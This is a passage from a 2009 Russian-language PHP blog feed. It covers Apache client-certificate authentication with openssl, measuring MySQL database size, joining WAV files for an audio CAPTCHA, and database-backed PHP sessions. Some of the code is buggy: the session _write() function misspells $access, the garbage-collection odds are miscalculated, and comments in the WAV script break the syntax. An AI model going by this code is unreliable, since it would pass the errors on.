<p>В результате выполнения команды появятся два файла client01.key и client01.csr. Просмотреть данные закрытого ключа и запроса на сертификат (CSR) вы можете с помощью команд:</p>
<p><code><br />
# openssl rsa -noout -text -in client01.key             (для ключа)<br />
# openssl req -noout -text -in client01.csr             (для запроса)</code></p>
<p><strong>2.3. Подпись запроса на сертификат (CSR) с помощью доверенного сертификата (CA).</strong></p>
<p>При подписи запроса используются параметры заданные в файле ca.config (см. 2.1.)</p>
<p><code># openssl ca -config ca.config -in client01.csr -out client01.crt -batch</code><br />
Описание аргументов:</p>
<p><strong>ca</strong><br />
Подпись запроса с помощью CA.<br />
<strong>-config ca.config</strong><br />
Использовать конфигурационный файл ca.config.<br />
<strong>-in client01.csr</strong><br />
CSR находится в файле client01.csr<br />
<strong>-out client01.crt</strong><br />
Сохранить сертификат в файл client01.crt<br />
<strong>-batch</strong><br />
Не спрашивать подтверждения подписи.<br />
В результате выполнения команды появится файл клиентского сертификата client01.crt. Просмотреть данные сертификата вы можете с помощью команды:</p>
<p># openssl x509 -noout -text -in client01.crt</p>
<p><strong>2.4. Подготовка данных для передачи клиенту.</strong></p>
<p>Для передачи полученных в результате предыдущих операций файлов клиенту, обычно используется файл в формате PKCS#12. В этот файл упаковывается и защищается паролем вся информация необходимая клиенту для инсталяции сертификата в броузер.</p>
<p><code># openssl pkcs12 -export -in client01.crt -inkey client01.key<br />
-certfile ca.crt -out client01.p12 -passout pass:q1w2e3<br />
Описание аргументов:</code></p>
<p><strong>pkcs12</strong><br />
Работа с файлами формата PKCS#12.<br />
<strong>-export</strong><br />
Экспортирование данных в файл.<br />
<strong>-in client01.crt</strong><br />
Файл клиентского сертификата.<br />
<strong>-inkey client01.key</strong><br />
Файл закрытого ключа.<br />
<strong>-certfile ca.crt</strong><br />
Файл доверенного сертификата.<br />
<strong>-out client01.p12</strong><br />
Сохранить данные в файл client01.p12.<br />
<strong>-passout pass:q1w2e3</strong><br />
Установить пароль q1w2e3 на файл (пароль может быть любым, в том числе и пустым)<br />
На этом процесс создания клиентского сертификата завершен. Теперь вам необходимо передать клиенту файл client01.p12 и пароль к нему любым удобным безопасным способом, а также проинструктировать его о процедуре инсталяции сертификата в броузер.</p>
<p>Для создания новых клиентских сертификатов повторите операции с 2.2. по 2.4.</p>
<p><strong>3. Настройка веб-сервера.</strong></p>
<p>Для реализации процесса авторизации по клиентским сертификатам необходимо сконфигурировать веб-сервер для решения следующих задач:</p>
<p>Запрет доступа к защищаемой области по протоколу HTTP.<br />
Запрос и проверка клиентских сертификатов.<br />
3.1. Запрет доступа к защищаемой области по протоколу HTTP.</p>
<p>Найдите в конфигурационном файле веб-сервера httpd.conf секцию <VirtualHost IP-ADDRESS>, соответсвующую вашему сайту и добавьте в неё следующие директивы</p>
<p><code><Directory /path/to/secure/area/><br />
SSLRequire<br />
</Directory></code></p>
<p>Описание директив:</p>
<p><strong>/path/to/secure/area/</strong><br />
Абсолютный путь до директории защищаемой области.<br />
<strong>SSLRequire</strong><br />
Запрещает доступ клиенту, если при соединении не используется протокол HTTPS (HTTP через SSL).</p>
<p><strong>3.2. Запрос и проверка клиентских сертификатов.</strong></p>
<p>Найдите в конфигурационном файле веб-сервера httpd.conf секцию , соответсвующую вашему сайту и добавьте в неё следующие директивы:</p>
<p><code>SSLCACertificateFile /path/to/ca.crt<br />
<Directory /path/to/secure/area/><br />
SSLVerifyClient require<br />
</Directory></code></p>
<p>Описание директив:</p>
<p><strong>SSLCACertificateFile /path/to/ca.crt</strong><br />
Абсолютный путь до доверенного сертификата (см. $1.). Также в качестве значения директивы SSLCACertificateFile может быть указан файл, содержащий несколько доверенных сертификатов (формируется путем обычной конкатенации файлов сертификатов), тогда все они будут считаться доверенными сертификатами.<br />
<strong>SSLVerifyClient require</strong><br />
При наличии этой директивы веб-сервер будет запрашивать сертификат у клиента в обязательном порядке. Если клиент не предоставляет сертификат, тогда сервер отклоняет запрос. Если клиент предоставляет сертификат, то веб-сервер проверяет его срок действия и поставщика сертификата (сертификат которым он подписан), если сертификат поставщика присутсвует в файле SSLCACertificateFile, то проверка считается успешной и клиенту предоставляется доступ до защищенной области.<br />
Для того, чтобы изменения конфигурационного файла веб-сервера вступили в силу необходимо перезапустить веб-сервер</p>
<p># apachectl restart</p>
<p><strong>3.3. Альтернативные способы настройки веб-сервера.</strong></p>
<p>В этом разделе будут рассмотрены альтернативные пути настройки веб-сервера для авторизации по клиентским сертификатам. Вариантов настройки и их комбинаций может быть много, нижеприведенные примеры проиллюстрируют некоторые из них и помогут при разработке собственных конфигураций.</p>
<p><strong>Пример 1.</strong></p>
<p>Допустим файл указанный в директиве SSLCACertificateFile содержит несколько доверенных сертификатов (см. описание директивы SSLCACertificateFile). Требуется разрешить доступ до защищенной области только владельцам сертификатов, подписанных только одним из поставщиков.</p>
<p><code><Directory /path/to/secure/area/><br />
SSLVerifyClient require<br />
SSLRequire %{SSL_CLIENT_I_DN_O} eq "First CA Inc."<br />
</Directory></code></p>
<p>Описание директив:</p>
<p><strong>SSLRequire %{SSL_CLIENT_I_DN_O} eq &#171;First CA Inc.&#187;</strong><br />
Требует чтобы организацией поставщика клиентского сертификата являлась &#171;First CA Inc.&#187;. Аналогичным способом можно проверять любые другие параметры клиентского сертификата или его поставщика. Более подробную информацию о директиве SSLRequire и именах переменных смотрите в документации по mod_ssl.</p>
<p><strong>Пример 2.</strong></p>
<p>Предположим требуется разрешить доступ до защищенной области владельцам сертификатов со слишком разными данными, настолько, что их сложно описать с помощью директивы SSLRequire. В этом случае полезно использовать метод, основанный на имитации простой авторизации веб-сервером по паролю.</p>
<p><code><Directory /path/to/secure/area/><br />
SSLVerifyClient require<br />
SSLOptions +FakeBasicAuth<br />
AuthName "My secure area"<br />
AuthType Basic<br />
AuthUserFile /path/to/passwd/file<br />
require valid-user<br />
</Directory></code></p>
<p>Содержимое файла /path/to/passwd/file</p>
<p><code>/C=RU/L=Msk/O=My Inc./CN=user/emailAddress=user@domain.ru:xxj31ZMTZzkVA<br />
/C=RU/L=Sam/O=My LTD./CN=vas/emailAddress=vas@domain.ru:xxj31ZMTZzkVA<br />
/C=RU/L=Zel/O=My LLC./CN=prs/emailAddress=prs@domain.ru:xxj31ZMTZzkVA<br />
........</code></p>
<p>Описание директив:</p>
<p><strong>SSLOptions +FakeBasicAuth</strong><br />
Имитирует простую авторизацию веб-сервером. Имя пользователя и пароль не запрашиваются, но сверяются данные клиентского сертификата с данными в файле /path/to/passwd/file. Строка идентифицирующая клиента может быть получена из клиентского сертификата с помощью команды:<br />
<strong># openssl x509 -noout -subject -in client.crt</strong><br />
Или взята из базы данных db/index.txt, формируемой при подписи CSR (см. $2.). В качестве пароля всегда используется строка &#171;xxj31ZMTZzkVA&#187;, являющаяся результатом шифрования строки &#171;password&#187; с помощью алгоритма DES.</p>
<p><strong>4. Отзыв сертификатов.</strong></p>
<p>Результат проверки веб-сервером клиентского сертификата будет успешным на весь срок действия сертификата. Возникает вопрос, что делать в случае если вы хотите отказать какому-либо клиенту в доступе по его клиентскому сертификату. Для решения этой проблемы создается список отзыва сертификатов (Certificate Revocation List &#8212; CRL). В списке отзыва перечисляются отозванные вами клиентские сертификаты. В соответсвии с этим списком веб-сервер будет отклонять запросы если сертифкат клиента отозван.</p>
<p><strong>4.1. Создание списка отзыва (CRL).</strong></p>
<p>При создании списка отзыва используется тот же конфигурационный файл и таже структура файлов, что и при подписи сертификатов (см. $2.1.), поэтому при выполнении следующей команды вы должны находиться в том же каталоге.</p>
<p># openssl ca -gencrl -config ca.config -out ca.crl</p>
<p>Описание аргументов:</p>
<p><strong>ca</strong><br />
При создании CRL также используется этот аргумент.<br />
<strong>-gencrl</strong><br />
Создание списка отзыва сертификатов.<br />
<strong>-config ca.config</strong><br />
Использовать конфигурационный файл ca.config.<br />
<strong>-out ca.crl</strong><br />
Сохранить созданный список отзыва в файл ca.crl<br />
В результате будет создан список отзыва, основанный на базе данных подписанных сертификатах db/index.txt. Так как на данный момент ни один из сертификатов в базе данных не помечен как отозванный, то созданный список будет пустым. Просмотреть данные списка отзыва вы можете с помощью следующей команды.</p>
<p># openssl crl -in ca.crl -text -noout</p>
<p>Одной из важных черт списка отзыва является его срок действия, указываемый в конфигурационном файле ca.config с помощью директивы default_crl_days. Также альтернативно может быть использована директива default_crl_hours, если вы планируете часто обновлять ваш CRL. Список отзыва должен обновляться не позже истечения срока действия. Для переодического вызова приведенной выше команды можно использовать cron.</p>
<p><strong>4.2. Отзыв сертификата.</strong></p>
<p>Для того чтобы отозвать клиентский сертификат необходимо пометить его в базе данных сертификатов db/index.txt как отозванный, тогда при следующем обновлении списка отзыва, этот сертификат будет в него включен. Для пометки сертификата как отозванного используйте приведенную ниже команду.</p>
<p># openssl ca -config ca.config -revoke client01.crt</p>
<p>Описание аргументов:</p>
<p><strong>-revoke client01.crt</strong><br />
Отозвать сертификат находящийся в файле client01.crt</p>
<p><strong>4.3. Настройка веб-сервера</strong></p>
<p>После создания списка отзыва сертификатов необходимо дать возможность веб-серверу использовать его. Для этого добавьте приведенную ниже директиву в конфигурационный файл веб-сервера.</p>
<p>SSLCARevocationFile /path/to/ca.crl</p>
<p>Описание директив:</p>
<p><strong>SSLCARevocationFile /path/to/ca.crl</strong><br />
Абсолютный путь до файла со списком отзыва сертификатов (см. 4.1.)<br />
Не забывайте перезапускать веб-сервер после каждого изменения его конфигурации.</p>
<p># apachectl restart</p>
<p><strong>Заключение.</strong></p>
<p>Вышеизложенный материал можно дополнять и углублять, цель статьи &#8212; минимальное руководство по реализации авторизации по клиентским сертификатам на практике. Любой читатель, имеющий доступ к использовавшемуся программному обеспечению, с помощью этой статьи может за короткое время настроить свой веб-сервер для решения этой задачи. Каждый из изложенных пунктов можно расширить и написать по нему отдельную статью, заинтересовавшиеся читатели могут получить дополнительные сведения в документации по Apache, mod_ssl и openssl. В заключение хочется дать несколько советов по программной реализации вышеописанных процессов.</p>
<p>В openssl не предусмотрен механизм блокирования одновременного доступа к ресурсам, то есть, если две программы одновременно будут осуществлять подпись сертификата, то корректность содержимого текстовой базы данных, файла с серийным номером, как впрочем и самого результата не гарантируется. Поэтому необходимо использовать внешний механизм блокировки, например, так это можно реализовать на языке Perl.</p>
<p><code>open ( LOCK, ">/tmp/cert-sign.lck" ) or error_handling();<br />
flock ( LOCK, 2 ) or error_handling();</code></p>
<p># &#8230; код, реализующий подпись сертификата &#8230;</p>
<p><strong>close( LOCK );</strong><br />
Описанный метод чрезвычайно прост: ставится блокировка на временный файл, выполняются критические действия, снимается блокировка с файла. Если во всех программах, работающих с вашими файлами придерживаться этого метода, то они не смогут в критические моменты вмешиваться в процесс, а будут ждать снятия блокировки.</p>
<p>Второй совет связан с извлечением и обработкой данных клиентских сертификатов в CGI-скриптах. При простой авторизации клиента по имени и паролю веб-сервер помещает имя пользователя в переменную окружения REMOTE_USER. Аналогичным образом из переменных окружения можно извлечь данные клиентского сертификата при авторизации по сертификату. Для того чтобы веб-сервер устанавливал значения переменных окружения, относящихся к клиентскому сертификату необходимо добавить в конфигурацию веб-сервера следующую директиву:</p>
<p><code>SSLOptions +StdEnvVars +ExportCertData</code></p>
<p>Описание директив:</p>
<p><strong>+StdEnvVars</strong><br />
Включает установку в переменные окружения данных, относящихся к SSL.<br />
<strong>+ExportCertData</strong><br />
Включает установку в переменные окружения текста сертификатов использовавшихся при передаче данных.<br />
По умолчанию установка переменных окружения, относящихся к SSL, отключена, так как их извлечение из сертификатов влечет за собой снижение быстродействия веб-сервера. Поэтому следует добавлять эти опции только в случае реальной необходимости.</p>
<p>Альтернативой переменной REMOTE_USER могут служить следующие переменные: SSL_CLIENT_M_SERIAL &#8212; серийный номер клиентского сертификата, SSL_CLIENT_S_DN_CN &#8212; имя сертификата (Common Name) или SSL_CLIENT_S_DN &#8212; данные сертификата (Subject Name, см. описание аргумента -subj в $1). Если вы хотите использовать переменную SSL_CLIENT_S_DN_CN для идентификации пользователя, то вы должны обеспечить уникальность Common Name для разных сертификатов при создании запросов на клиентский сертификат (см. $2.2.). Уникальность SSL_CLIENT_M_SERIAL и SSL_CLIENT_S_DN гарантируется автоматически при подписи сертификатов.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/29/svoy-ssl-sertifikat/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>размер базы данных MySQL через php</title>
		<link>http://saintist.ru/2009/04/29/razmer-mysql/</link>
		<comments>http://saintist.ru/2009/04/29/razmer-mysql/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 05:58:01 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=195</guid>
		<description><![CDATA[Как получить размер базы данных (БД) MySQL используя PHP. Для начала потребуется простая функция formatfilesize(), которая будет преобразовывать размер в байтах в более &#171;читаемый вид&#187;. Далее необходимо подключиться к самой базе данных MySQL, чтобы узнать ее размер. Определим переменную, которая будет содержать имя нашей базы данных. Замените &#171;databasename&#187; на имя своей базы данных: Осталось главное [...]]]></description>
			<content:encoded><![CDATA[<p>Как получить размер базы данных (БД) MySQL используя PHP.<br />
Для начала потребуется простая функция formatfilesize(), которая будет преобразовывать размер в байтах в более &#171;читаемый вид&#187;.<br />
<span id="more-195"></span><br />
<code><br />
<?php</p>
<p>function formatfilesize( $data ) {</p>
<p>// bytes<br />
if( $data < 1024 ) {</p>
<p>return $data . " bytes";</p>
<p>}<br />
// kilobytes<br />
else if( $data < 1024000 ) {</p>
<p>return round( ( $data / 1024 ), 1 ) . "k";</p>
<p>}<br />
// megabytes<br />
else {</p>
<p>return round( ( $data / 1024000 ), 1 ) . " MB";</p>
<p>}</p>
<p>}</p>
<p>?></code></p>
<p>Далее необходимо подключиться к самой базе данных MySQL, чтобы узнать ее размер.<br />
Определим переменную, которая будет содержать имя нашей базы данных. Замените &#171;databasename&#187; на имя своей базы данных:<br />
<code><?php</p>
<p>$dbname = "databasename";</p>
<p>?></code><br />
Осталось главное &#8212; вычислить размер БД. Это делается очень просто &#8212; необходимо просто пройтись по каждой таблице БД сложить размер данных и индекса БД:<br />
<code><?php</p>
<p>mysql_select_db( $dbname );<br />
$result = mysql_query( "SHOW TABLE STATUS" );<br />
$dbsize = 0;</p>
<p>while( $row = mysql_fetch_array( $result ) ) {</p>
<p>$dbsize += $row[ "Data_length" ] + $row[ "Index_length" ];</p>
<p>}</p>
<p>?></code><br />
Сейчас размер БД в байтах содержится в переменной $dbsise. Нам осталось лишь воспользваться упомянутой в начале функцией formatfilesize() для форматирования этого размера (разделим его на кило-, мега-):<br />
<code><?php</p>
<p>echo "
<p>Размер базы данных составляет " . formatfilesize( $dbsize ) . "</p>
<p>";</p>
<p>?></code></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/29/razmer-mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Несколько файлов .wav в один с помощью  PHP</title>
		<link>http://saintist.ru/2009/04/29/neskolko-fajlov-v-odin/</link>
		<comments>http://saintist.ru/2009/04/29/neskolko-fajlov-v-odin/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 05:54:15 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=192</guid>
		<description><![CDATA[Функцию, с помощью которой можно объединить несколько звуковых файлов в один. Где это может пригодиться? Да в той же CAPTCHA, к примеру. Ведь иногда, если пользователь не может распознать символов, которые изображены на сгенерированной картинке, ему предлагают прослушать их. И в данном случае вовсе не нужно использовать специальные синтезаторы типа текст -> звук, ведь в [...]]]></description>
			<content:encoded><![CDATA[<p>Функцию, с помощью которой можно объединить несколько звуковых файлов в один.<br />
Где это может пригодиться? Да в той же CAPTCHA, к примеру. Ведь иногда, если пользователь не может распознать символов, которые изображены на сгенерированной картинке, ему предлагают прослушать их. И в данном случае вовсе не нужно использовать специальные синтезаторы типа текст -> звук, ведь в латинице только 26 букв + 10 цифр. Но нам потребуется соединить произношение каждого символа как говорится &#171;на лету&#187;.<br />
<span id="more-192"></span><br />
Вот, собственно, и сама функция:</p>
<p><code>function joinwavs($wavs){<br />
$fields = join('/',array( 'H8ChunkID', 'VChunkSize', 'H8Format',<br />
'H8Subchunk1ID', 'VSubchunk1Size',<br />
'vAudioFormat', 'vNumChannels', 'VSampleRate',<br />
'VByteRate', 'vBlockAlign', 'vBitsPerSample' ));<br />
$data = '';<br />
foreach($wavs as $wav){<br />
$fp     = fopen($wav,'rb');<br />
$header = fread($fp,36);<br />
$info   = unpack($fields,$header);<br />
// read optional extra stuff<br />
if($info['Subchunk1Size'] > 16){<br />
$header .= fread($fp,($info['Subchunk1Size']-16));<br />
}<br />
// read SubChunk2ID<br />
$header .= fread($fp,4);<br />
// read Subchunk2Size<br />
$size  = unpack('vsize',fread($fp, 4));<br />
$size  = $size['size'];<br />
// read data<br />
$data .= fread($fp,$size);<br />
}<br />
return $header.pack('V',strlen($data)).$data;<br />
}</code></p>
<p>Думаю, разобраться  несложно.</p>
<p>Как видите, потребуется предварительно извлечь (заголовки) header information звукового файла типа длительности duration, bit rate, audio channel и т.д.</p>
<p>Чтобы было понятнее, это делает функция unpack для декодирования файла:</p>
<p><code><?php<br />
$fp = fopen('chord.wav', 'r');<br />
fseek($fp, 20);<br />
$rawheader = fread($fp, 16);<br />
$header = unpack('vtype/vchannels/Vsamplerate/Vbytespersec/valignment/vbits',<br />
$rawheader);<br />
print_r($header);<br />
?> </code><br />
Вот что выдаст нам это скрипт после его запуска:</p>
<p><strong>Array<br />
(<br />
[type] => 1<br />
[channels] => 2<br />
[samplerate] => 22050<br />
[bytespersec] => 88200<br />
[alignment] => 4<br />
[bits] => 16<br />
)</strong></p>
<p>Листинг полного кода<br />
<code><br />
<?php<br />
/* При использовании этого скрипта подразумевается, что наши звуковые файлы<br />
 .wav имеют имена от a to z and 1 to 10 и находятся в папке captcha_wav в той же директории, где и этот php-файл.<br />
Переменная с кодом безопасности будет генерироваться для каждой сессии и содержать некую строку,<br />
которая и будет сверяться с данным, которые ввел пользователь */</p>
<p>$SecurityCode = "beb9";<br />
$localCode = str_split(strtolower($SecurityCode));<br />
// занесем нашу строку captcha в локальный массив и переведем в нижний регистр<br />
$wav_array = array();<br />
// этот массив нам пригодится для хранения имен звуковых файлов</p>
<p>foreach($localCode as $character){<br />
 // для каждого символа в строке капчи мы подберем соответствующий ему звуковой файл - типа 1.wav или c.wav<br />
array_push($wav_array, $character.".wav");<br />
}</p>
<p>header('Content-Type: audio/x-wav'); // заголовок для указания типа файла (аудио)<br />
$content = joinwavs($wav_array); //  вызов функции joinwavs для соединения файлов<br />
echo $content; // вывод бинарного содержимого нового файла</p>
<p>function joinwavs($wavs){<br />
$data = ''; // бинарный блок аудио-данных<br />
$tsize = 0; // начальный размер файла</p>
<p>foreach($wavs as $wav){</p>
<p>$fp     = fopen("captcha_wav/".$wav,'rb'); // открываем wave-файл</p>
<p>$header = fread($fp,50); // !!!!!!!!!! ВАЖНО !!!!!!!! Online документация говорит о том, что заголовочная информация<br />
должна быть длиной 40 бит до непосредственного данных файла.<br />
 Но на практике оказалось лучше использвать 50, так что поиграйтесь с этим параметром.</p>
<p>// чтение SubChunk2ID<br />
$wordata = fread($fp,4); // для проверки корректности чтения заголовка можно вывести на<br />
echo эту переменную. В случае получения слова "data" все идет ок.</p>
<p>$header .= $wordata; // добавим слово "data" в заголовок</p>
<p>// чтение Subchunk2Size<br />
$originalBytes=fread($fp, 4);  // 4 битовое поле, которое идет далее</p>
<p>$size  = unpack('Vsize',$originalBytes);  // числовое значение размера данных</p>
<p>$tsize  += $size['size']; // суммируем размер</p>
<p>// считываем данные, которые остались в файле<br />
$data .= fread($fp,100000);</p>
<p>// закрываем data input stream<br />
fclose($fp);<br />
}</p>
<p>return $header.pack('V',$tsize).$data;</p>
<p>}<br />
?><br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/29/neskolko-fajlov-v-odin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Зачем хранить  сессии ($_SESSION) в базе данных</title>
		<link>http://saintist.ru/2009/04/29/session-v-baze-dannyx/</link>
		<comments>http://saintist.ru/2009/04/29/session-v-baze-dannyx/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 05:48:06 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=190</guid>
		<description><![CDATA[Стандартный способ хранения данных сессии подходит для большинства задач, с которым может столкнутся разработчик, иногда всё же приходится искать альтернативу. Из-за того что, нaпример: Cайт состоит из несколько частей, которые храняться на нескольких серверах и чтобы быть увереным, что сессия работает правильно необходимо хранить данные сессии в базе данных, общей для всех серверов. Сайт находиться [...]]]></description>
			<content:encoded><![CDATA[<p>Стандартный способ хранения данных сессии подходит для большинства задач, с которым может столкнутся разработчик, иногда всё же приходится искать альтернативу.<br />
Из-за того что, нaпример: </p>
<ul>
<li>Cайт состоит из несколько частей, которые храняться на нескольких серверах и чтобы быть увереным, что сессия работает правильно необходимо хранить данные сессии в базе данных, общей для всех серверов.</li>
<li>Сайт находиться на одном сервере с другими сайтами и необходимо избежать проблем безопасности, которые с этим связаны.</li>
<li>Ваш сайт имеет очень большие запросы к скорости работы и поэтому вам требуется более быстрый способ хранения данных сессии. </li>
</ul>
<p>Есть несколько приемов  по ускорению чтения из базы данных можно использовать.</p>
<p>Средства PHP делают эту задачу элементарной.<br />
<span id="more-190"></span></p>
<p><strong>Хранение данных сессии.</strong></p>
<p>Прежде чем начнем хранить данные сессии в базе данных создадим таблицу. Вот пример для MySQL:</p>
<p>CREATE TABLE sessions (<br />
id varchar(32) NOT NULL,<br />
access int(10) unsigned,<br />
data text,<br />
PRIMARY KEY (id)<br />
);<br />
Все приведено  в качестве примера, также можно добавить дополнительные поля, в которых  будет храниться временные метки и т.п.</p>
<p>После того как вы создали таблицу, давайте посмотрим, как её использовать.</p>
<p><strong>session_set_save_handler()</strong></p>
<p>PHP имеет встроенную функцию, которая позволяет изменить механизм сессии, заданный по умолчанию. С её помощью вы можете задавать свои функции для различных задач механизма сессии. Нужно будет написать специально для .тих  целей несколько  функций. Для каждой  будет приведен пример с описанием.</p>
<p>Функция session_set_save_handler() принимает шесть параметров, каждый из которых – это имя функции, которую вам придется написать. Эти функции будут отвечать за следующие задачи:</p>
<ul>
<li>Открытие места хранения данных сессии</li>
<li>Закрытие места хранения данных сессии</li>
<li>Чтение данных сессии</li>
<li>Запись данных сессии</li>
<li>Уничтожение всех данных сессии</li>
<li>Удаление данных предыдущей сессии</li>
</ul>
<p>Для удобства, используем следующие следующие имена для этих функций:</p>
<p><strong>session_set_save_handler (&#8216;_open&#8217;, &#8216;_close&#8217;, &#8216;_read&#8217;, &#8216;_write&#8217;, &#8216;_destroy&#8217;, &#8216;_clean&#8217;);</strong></p>
<p>эта строчка должна стоять до вызова session_start(), но сами функции вы можете объявить в любом месте.</p>
<p>Преимущество данного способа в том, что в коде вы можете продолжать делать всё тоже самое, как и при стандартном механизме хранения данных сесиии. Массив $_SESSION всё тот же и ведет себя точно также, php всё также генерирует и передаёт ключ сессии. Всё что вам необходимо сделать – это добавить одну строчку, указанную выше.</p>
<p>Также очень важно понять, что конкретно делают функции, на случай непредвиденных ошибок.</p>
<p><strong>_open()</strong> и <strong>_close()</strong></p>
<p>Эти функции взяимосвязаны, они используются для открытия и закрытия места хранения данных сессии соответственно. Если вы храните данные сессии в файловой системе, эти функции открывают и закрывают файлы (скорее всего вам понадобится глобальная переменная управления файлом, чтобы другие функции могли её использовать).</p>
<p>Поскольку вы используете базу данных, <strong>_open()</strong> и <strong>_close()</strong> могут быть настолько просты, как, например:</p>
<p><code><?php<br />
function _open()<br />
{<br />
mysql_connect('127.0.0.1', 'myuser', 'mypass');<br />
mysql_select_db('sessions');<br />
}<br />
function _close()<br />
{<br />
mysql_close();<br />
}<br />
?></code><br />
Такой вариант имеет недостаток: когда переменная управления базой данных не создана для функций <strong>mysql_select_db()</strong> и<strong> mysql_query()</strong>, MySQL использует последнее содинение, то есть если где нибудь в коде сайта вы используете<strong> mysql_select_db</strong> чтобы выбрать другую базу данных, запись в сессию может не произойте, потому что последнее соединение будет с другой базой данных. Такую ошибку будет очень сложно отследить, несмотря на это, встречается она достаточно часто.</p>
<p>Избежать такой ошибки можно двумя способами: вы можете использовать отдельное соединение для записи данных сессии или вы можете взять привычку исползовать <strong>mysql_select_db()</strong> перед каждой функцией, которой необходима определенная база данных, это включает себя как механизм хранения сессии, так и код сайта. Это всё, конечно, при условии, что вы используете больше одной базы данных в своём коде.<br />
Также есть вариант, когда пишется полный путь к таблице с которой работаешь.<br />
Например:<br />
<strong>имя базы.имя таблицы.поле</strong><br />
он  также не панацея, так как приходится организовать механизм хранения и выборки  с подстановкой имени базы в нужный момент. Каждый делает так как ему удобно, в зависимости от  ситуации.</p>
<p>В данной статье используется первый способ – отдельное соединение для механизма сессии. Назовем переменную <strong>$_sess_db</strong>, и тогда код нащих функций будет выглядеть следующим образом:</p>
<p><code><?php<br />
function _open()<br />
{<br />
global $_sess_db;<br />
$_sess_db = mysql_connect('127.0.0.1', 'myuser', 'mypass');<br />
mysql_select_db('sessions', $_sess_db);<br />
}<br />
function _close()<br />
{<br />
global $_sess_db;<br />
mysql_close($_sess_db);<br />
}<br />
?></code></p>
<p>Знак подчеркивания в начале имени переменной используется как указание, что данная переменная не должна изменяться в нигде в дальнейшем коде.</p>
<p>Внесем еще одно изменение. Большинство встроенных php функций возвращают TRUE если ошибок нет и FALSE если при выполнении возникла ошибка. Это очень удобный прием. Функция будет  делать тоже самое:</p>
<p><code><?php<br />
function _open()<br />
{<br />
global $_sess_db;<br />
if ($_sess_db = mysql_connect('127.0.0.1', 'myuser', 'mypass')) {<br />
return mysql_select_db('sessions', $_sess_db);<br />
}<br />
return FALSE;<br />
}<br />
function _close()<br />
{<br />
global $_sess_db;<br />
return mysql_close($_sess_db);<br />
}<br />
?></code></p>
<p>Перейдём к следующей функции.</p>
<p><strong>_read()</strong><br />
Эта функция вызывается когда необходимо записать данные в сессию. Это происходит сразу после вызова _open() который, в свою очередь, вызывается с помощью session_start().</p>
<p>PHP передает в _read() идентификато сессии:</p>
<p><code><?php<br />
function _read($id)<br />
{<br />
global $_sess_db;<br />
$id = mysql_real_escape_string($id);<br />
$sql = “SELECT data FROM sessions WHERE id = '$id'”;<br />
if ($result = mysql_query($sql, $_sess_db)) {<br />
if (mysql_num_rows($result)) {<br />
$record = mysql_fetch_assoc($result);<br />
return $record['data'];<br />
}<br />
}<br />
return ' ';<br />
}<br />
?> </code><br />
Обработчик, который PHP использует для сериализации данных, задается <strong>session.serialize_handle</strong>r параметром конфигурации php. По умолчанию он имеет значение php.</p>
<p><strong>_write()</strong><br />
Функция _write() вызывается когда необходимо записать данные в сессию, обычно в самом конце скрипта.</p>
<p>PHP передает идентификатор сессии и данные сессии. Вы можете не волноваться о формате данных, поскольку php сериализует эти данные, они представляют из себя строку. Несмотря на это вам необходимо убедиться, что строка не содержит опасных элементов прежде чем использовать её в запросе.</p>
<p><code><?php<br />
function _write($id, $data)<br />
{<br />
global $_sess_db;<br />
$acess = time();<br />
$id = mysql_real_escape_string($id);<br />
$access = mysql_real_escape_string($access);<br />
$data = mysql_real_escape_string($data);<br />
$sql = “REPLACE INTO sessions VALUES ('$id','$access','$data')”;<br />
return mysql_query($sql, $_sess_db);<br />
}<br />
?> </code></p>
<p>Используем <strong>REPLACE</strong>, потому что так мы делаем тоже что и используя <strong>INSERT</strong>, но в случаях когда передаваемый индентификатор сессии уже существует, <strong>REPLACE </strong>удалит старую запись прежде чем записывать новую. Таким образом отпадает необходимость проверки на наличие в таблице записи с передваемым идентификатором сессии. Необходимо учесть что <strong>REPLACE </strong>работает в MySQL, но в других типах баз данных такой команды может не быть. </p>
<p><strong>_destroy()</strong><br />
Функция _destroy() вызывается когда PHP необходимо уничтожить все данные текущей сессии. Самый очевидный пример, когда вызывается <strong>session_destroy()</strong>.<br />
PHP передаёт в функцию идентификатор сессии.<br />
<code><?php<br />
function _destroy($id)<br />
{</p>
<p>global $_sess_db;<br />
$id = mysql_real_escape_string($id);<br />
$sql = “DELETE FROM sessions WHERE id = '$id'”;<br />
return $result = mysql_query($sql, $_sess_db);<br />
}<br />
?> </code><br />
Функция <strong>_destroy()</strong> стирает лишь запись в базе данных, не затрагивая массив $<strong>_SESSION</strong>.</p>
<p><strong>_clean()</strong><br />
Функция _clean() вызывается периодически для удаления старых записей в таблице сессий. Точнее, как часто эта функция вызывается установлено двумя параметрами конфигурации php: session.gc_probability и session.gc_divisor. Их значения по умолчанию 1 и 100 соответственно, что означает что вероятность вызова функции _clean() за сессию равно 1 поделить на 1000 = 0.1%.</p>
<p>Так как функция <strong>_write() </strong>записывает в таблицу для каждой записи точное время последнего доступа в колонку access, это может быть использовано чтобы определить какие записи удалять. PHP передаёт максимальное количество секунд после которых сессиия считается просроченной:</p>
<p><code><?php<br />
function _clean($max)<br />
{<br />
global $_sess_db;<br />
$old = time() - $max;<br />
$old = mysql_real_escape_string($old);<br />
$sql = “DELETE FROM sessions WHERE access < '$old' ”;<br />
return $result = mysql_query($sql, $_sess_db);<br />
}<br />
?></code></p>
<p>Количество секунд которые PHP передаёт в эту функцию – это значение параметра session.gc_maxlifetime из конфигурации PHP. Вы можете изменять это значение в случае необходимости.</p>
<p>Как ведите все довольно просто ).</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/29/session-v-baze-dannyx/feed/</wfw:commentRss>
